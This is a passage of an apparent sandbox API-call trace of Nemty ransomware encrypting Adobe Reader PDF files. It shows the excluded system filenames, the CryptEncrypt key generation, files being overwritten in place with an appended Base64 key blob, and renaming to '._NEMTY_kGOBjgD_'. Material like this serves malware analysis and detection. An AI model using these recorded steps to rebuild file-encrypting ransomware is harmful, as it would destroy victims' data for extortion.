[0189.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0189.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.224] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0189.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0189.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.224] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0189.225] lstrcmpiW (lpString1="Standard.pdf", lpString2=".") returned 1 [0189.225] lstrcmpiW (lpString1="Standard.pdf", lpString2="..") returned 1 [0189.225] lstrcmpiW (lpString1="Standard.pdf", lpString2="...") returned 1 [0189.225] lstrcmpiW (lpString1="Standard.pdf", lpString2="windows") returned -1 [0189.225] lstrcmpiW (lpString1="Standard.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.225] lstrcmpiW (lpString1="Standard.pdf", lpString2="rsa") returned 1 [0189.225] lstrcmpiW (lpString1="Standard.pdf", lpString2="NTDETECT.COM") returned 1 [0189.225] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntldr") returned 1 [0189.225] lstrcmpiW (lpString1="Standard.pdf", lpString2="MSDOS.SYS") returned 1 [0189.225] lstrcmpiW (lpString1="Standard.pdf", lpString2="IO.SYS") returned 1 [0189.225] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0189.225] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0189.225] lstrcmpiW (lpString1="Standard.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.225] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntuser.dat") returned 1 [0189.225] lstrcmpiW (lpString1="Standard.pdf", lpString2="desktop.ini") returned 1 [0189.225] lstrcmpiW (lpString1="Standard.pdf", lpString2="CONFIG.SYS") returned 1 [0189.225] lstrcmpiW (lpString1="Standard.pdf", lpString2="RECYCLER") returned 1 [0189.225] lstrcmpiW (lpString1="Standard.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.225] lstrcmpiW (lpString1="Standard.pdf", lpString2="bootmgr") returned 1 [0189.225] lstrcmpiW (lpString1="Standard.pdf", lpString2="programdata") returned 1 [0189.225] lstrcmpiW (lpString1="Standard.pdf", lpString2="appdata") returned 1 [0189.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.226] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.226] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.226] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0189.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0189.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0189.226] Sleep (dwMilliseconds=0x5) [0189.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24718cd0, dwHighDateTime=0x1d561e8)) [0189.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24718cd0, dwHighDateTime=0x1d561e8)) [0189.248] GetLastError () returned 0x0 [0189.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.248] GetLastError () returned 0x0 [0189.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.248] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.248] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.249] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0189.249] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="OhLfKryGjXnD1BXBimSEUoYFf5Tl3QlNcEra0ecMoAdVuNrDor1162tgRlmNI+Hc\r\nFmEpmKDosddx/yIg4IoxY3DPTRV7fEbiLTzCpo0jEeqJ1+iUSBO5X3IU4YtZwcuF\r\nz6UIzyLMHCUkx/vLmaAitI5nvjLT32AGRV30XLGRlg+zeB+KL5or90vsi8A0UkTP\r\nklv2hO/pLyOMazAU3LrsJdZeG20dwA32T9JLsd7oP/IBj1sOok+/Al/uZX8bINOL\r\nel2VRrKahpxZs45pQ69CPCHU35H9ZG51tVPh/Ak3qMJP0/FGMbIJHNfhDICLq+St\r\nv3Z0tidXWdIKniwyrHAGWA==\r\n", pcchString=0x653df5c) returned 1 [0189.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0189.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.249] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.249] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=115957) returned 1 [0189.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0189.250] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.250] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0189.266] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.266] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0189.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.266] SetFilePointer (in: hFile=0x320, lDistanceToMove=115957, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c4f5 [0189.266] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.266] CloseHandle (hObject=0x320) returned 1 [0189.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0189.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0189.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.267] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Standard.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standard.pdf._nemty_kgobjgd_")) returned 1 [0189.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0189.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0189.268] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10873, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0189.268] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0189.268] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0189.268] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0189.268] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0189.268] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.268] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0189.268] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0189.268] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0189.268] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0189.268] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0189.268] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0189.268] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0189.268] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.268] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0189.268] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0189.268] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0189.268] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0189.268] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.268] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0189.268] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0189.268] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0189.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0189.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0189.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404f8 [0189.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0189.269] Sleep (dwMilliseconds=0x5) [0189.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24764f90, dwHighDateTime=0x1d561e8)) [0189.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24764f90, dwHighDateTime=0x1d561e8)) [0189.273] GetLastError () returned 0x0 [0189.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.273] GetLastError () returned 0x0 [0189.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0189.273] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.273] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.273] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0189.273] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="FRL65JWYIHbVsoS+B9k250AItdEd+1iyoeG1URybzxWAi+ieOdhb52RTKC7ePzjT\r\nZVKySTMeQWY1yME/84Ox7y6qOTLJUVeB7MMt8OlTOJJh579ylRMxG8iCjQOr+Enc\r\nOWG91IK/oJ/mGXAN9+Ro0RczYZh6IwVlPE6X+R4Qddjg548v9XObTxZjDEOBnl9o\r\nYmV7mPMqXsZMxtHOSmOGkwk7L9ozZuEclH3+lc8eGNOj9cslIinIFpYCRsj0BC+x\r\nYcLWoN1WlqHoIly5+TOWUAV56iUwX0lFmyAornmyUHGpwbDyg4gG8KziZkVlVqLN\r\nAxXQP2Z4V9rDXBi+Mb8rhA==\r\n", pcchString=0x653df5c) returned 1 [0189.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0189.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0189.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0189.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.273] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.274] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=67699) returned 1 [0189.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10870) returned 0x6352c48 [0189.274] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.274] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x10870, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x10870, lpOverlapped=0x0) returned 1 [0189.280] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 